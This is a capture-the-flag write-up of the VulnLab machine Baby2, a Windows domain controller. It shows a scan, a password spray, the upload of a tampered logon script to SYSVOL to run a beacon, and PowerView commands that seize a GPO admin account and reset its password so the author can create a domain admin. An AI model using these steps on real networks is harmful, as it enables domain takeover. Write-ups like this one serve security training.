This is a writeup of the machine Baby2 from VulnLab, itβs a Medium difficulty Windows machine which features some fun with logon scripts, as well as some basic AD and GPO abuse.
nmap -sV -sC -Pn -oN initial-scan 10.10.96.148 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-28 13:23 EST Stats: 0:01:00 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 29.50% done; ETC: 13:26 (0:02:23 remaining) Stats: 0:02:41 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 91.67% done; ETC: 13:25 (0:00:02 remaining) Stats: 0:02:46 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 91.67% done; ETC: 13:26 (0:00:02 remaining) Stats: 0:03:20 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 99.94% done; ETC: 13:26 (0:00:00 remaining) Nmap scan report for 10.10.96.148 Host is up (0.15s latency). Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-28 18:25:27Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: baby2.vl0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=dc.baby2.vl | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.baby2.vl | Not valid before: 2024-12-28T18:14:56 |_Not valid after: 2025-12-28T18:14:56 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: baby2.vl0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=dc.baby2.vl | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.baby2.vl | Not valid before: 2024-12-28T18:14:56 |_Not valid after: 2025-12-28T18:14:56 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: baby2.vl0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=dc.baby2.vl | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.baby2.vl | Not valid before: 2024-12-28T18:14:56 |_Not valid after: 2025-12-28T18:14:56 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: baby2.vl0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=dc.baby2.vl | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.baby2.vl | Not valid before: 2024-12-28T18:14:56 |_Not valid after: 2025-12-28T18:14:56 3389/tcp open ms-wbt-server Microsoft Terminal Services | rdp-ntlm-info: | Target_Name: BABY2 | NetBIOS_Domain_Name: BABY2 | NetBIOS_Computer_Name: DC | DNS_Domain_Name: baby2.vl | DNS_Computer_Name: dc.baby2.vl | DNS_Tree_Name: baby2.vl | Product_Version: 10.0.20348 |_ System_Time: 2024-12-28T18:26:09+00:00 | ssl-cert: Subject: commonName=dc.baby2.vl | Not valid before: 2024-12-27T18:24:06 |_Not valid after: 2025-06-28T18:24:06 |_ssl-date: 2024-12-28T18:26:49+00:00; -12s from scanner time. Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 230.11 seconds
Next I added dc.baby2.vl and baby2.vl to my /etc/hosts file.
Inside of apps thereβs a changelog, and a shortcut file login.vbs.lnk.
CHANGELOG:
1 2 3 4 5 6 7
[0.2]
- Added automated drive mapping
[0.1]
- Rolled out initial version of the domain logon script
Inside of the shortcut thereβs a reference to file file \\DC\NETLOGONlogin.vbs9..\..\..\Windows\SYSVOL\sysvol\baby2.vl\scripts\login.vbs which is presumably a logon script we can attempt to tamper with.
Checking out the NETLOGON share we can find the aforementioned login.vbs:
This script is used to map network drives whenever a user logs in.
Presumably we can edit this file to have a malicious script run whenever a user logs in, but weβre not able to overwrite this as guest. Weβll need to gain access to another account.
π¦Ά Foothold
I tried ASREPRoasting to no avail, so I pivoted to some basic password sprays. I tried blank passwords, and usernames as passwords with our userlist.
smbclient -U baby2.vl/Carl.Moore%Carl.Moore '\\dc.baby2.vl\SYSVOL' Try "help" to get a list of possible commands. smb: \> ls . D 0 Tue Aug 22 13:37:36 2023 .. D 0 Tue Aug 22 13:37:36 2023 baby2.vl Dr 0 Tue Aug 22 13:37:36 2023
6126847 blocks of size 4096. 2018846 blocks available smb: \> cd baby2.vl\ smb: \baby2.vl\> dir . D 0 Tue Aug 22 13:43:55 2023 .. D 0 Tue Aug 22 13:37:36 2023 DfsrPrivate DHSr 0 Tue Aug 22 13:43:55 2023 Policies D 0 Tue Aug 22 13:37:41 2023 scripts D 0 Tue Aug 22 15:28:27 2023
6126847 blocks of size 4096. 2018844 blocks available smb: \baby2.vl\> cd scripts smb: \baby2.vl\scripts\> dir . D 0 Tue Aug 22 15:28:27 2023 .. D 0 Tue Aug 22 13:43:55 2023 login.vbs A 992 Sat Sep 2 10:55:51 2023
6126847 blocks of size 4096. 2018844 blocks available smb: \baby2.vl\scripts\> put login.vbs putting file login.vbs as \baby2.vl\scripts\login.vbs (1.0 kb/s) (average 1.0 kb/s) smb: \baby2.vl\scripts\>
Eventually this got me an NTLMv1-SSP Hash for Amelia.Griffiths that I wasnβt able to crack, and I never got the revshell to call back.
After some troubleshooting I modified the script to instead download and run my Sliver beacon. I was only able to get this to work when hosting my webserver on port 80 - the VBS syntax was not a fan of :.
User Name SID ====================== ============================================= baby2\amelia.griffiths S-1-5-21-213243958-1766259620-4276976267-1114
GROUP INFORMATION -----------------
Group Name Type SID Attributes ========================================== ================ ============================================= ================================================== Everyone Well-knowngroup S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Desktop Users Alias S-1-5-32-555 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows2000 Compatible Access Alias S-1-5-32-554Group used for deny only BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\INTERACTIVE Well-knowngroup S-1-5-4 Mandatory group, Enabled by default, Enabled group CONSOLE LOGON Well-knowngroup S-1-2-1 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-knowngroup S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-knowngroup S-1-5-15 Mandatory group, Enabled by default, Enabled group LOCAL Well-knowngroup S-1-2-0 Mandatory group, Enabled by default, Enabled group BABY2\office Group S-1-5-21-213243958-1766259620-4276976267-1104 Mandatory group, Enabled by default, Enabled group BABY2\legacy Group S-1-5-21-213243958-1766259620-4276976267-2601 Mandatory group, Enabled by default, Enabled group Authentication authority asserted identity Well-knowngroup S-1-18-1 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ============================== ======== SeMachineAccountPrivilege Add workstations to domain Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
USER CLAIMS INFORMATION -----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
Looks like weβre members of the Office and Legacy groups. I ran Bloodhound to see what we could do with those.
First weβll need to exploit WriteDacl. One way to do this is to use PowerView to grant Amelia FullControl over gpoadm, and change their password.
1 2 3 4 5 6
# In our shell as amelia give full rights over gpoadm Add-DomainObjectAcl-TargetIdentity GPOADM -PrincipalIdentity amelia.griffiths -Rights All
# Change their password $UserPassword = ConvertTo-SecureString'Password123!'-AsPlainText-Force Set-DomainUserPassword-Identity gpoadm -AccountPassword$UserPassword
Now we can use the GPO Admin account to modify the default domain policy. I used the tool pyGPOAbuse to create a new DA. Weβll need the GPO ID which we can grab from its node in Bloodhound.